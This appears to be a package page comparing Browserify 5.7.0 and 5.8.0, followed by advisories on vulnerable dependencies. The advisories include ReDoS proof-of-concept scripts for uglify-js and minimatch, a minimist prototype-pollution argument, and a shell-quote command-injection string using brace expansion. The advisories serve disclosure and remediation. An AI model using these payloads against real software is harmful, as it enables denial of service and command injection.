Browserify, a cornerstone tool for developers building web applications, allows you to write Node.js-style modules that run directly in the browser. Versions 5.7.0 and 5.8.0, both released on the same day, offer nearly identical core functionality, enabling developers to manage dependencies and create modular browser-based code. The 'browser-side require() the node way' description succinctly captures its essence.
Both versions share the same extensive list of dependencies, crucial for tasks like URL handling (url), file system operations (glob, browser-resolve), module resolution (resolve, module-deps), and browser-specific implementations of Node.js core modules (buffer, stream, crypto, etc.). These dependencies provide a robust foundation for Browserify's core function of handling dependencies, compiling, and packaging code for browsers.
The development dependencies are also identical, aimed at testing and extending Browserify's capabilities. Modules like 'tap' for testing and 'coffeeify' for compiling CoffeeScript highlight the development ecosystem built around Browserify. The absence of changes in dependencies, both direct and development, suggests that version 5.8.0 is likely a bug fix or minor enhancement release compared to the previous version.
For developers, choosing between 5.7.0 and 5.8.0 likely depends on stability preferences. If relying on bleeding edge and latest fixes, the newer may be preferrable, whereas mission critical infrastructure may be preferrable to use the older well tested version. The similarities point to comparable performance and features, solidifying Browserify as a reliable choice for modular browser JavaScript development.
All the vulnerabilities related to the version 5.8.0 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Potential Command Injection in shell-quote
Affected versions of shell-quote
do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >
,;
,{
,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {}
and using the ,
instead of
to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec()
, an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z]
instead of the correct [A-Za-z]
. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.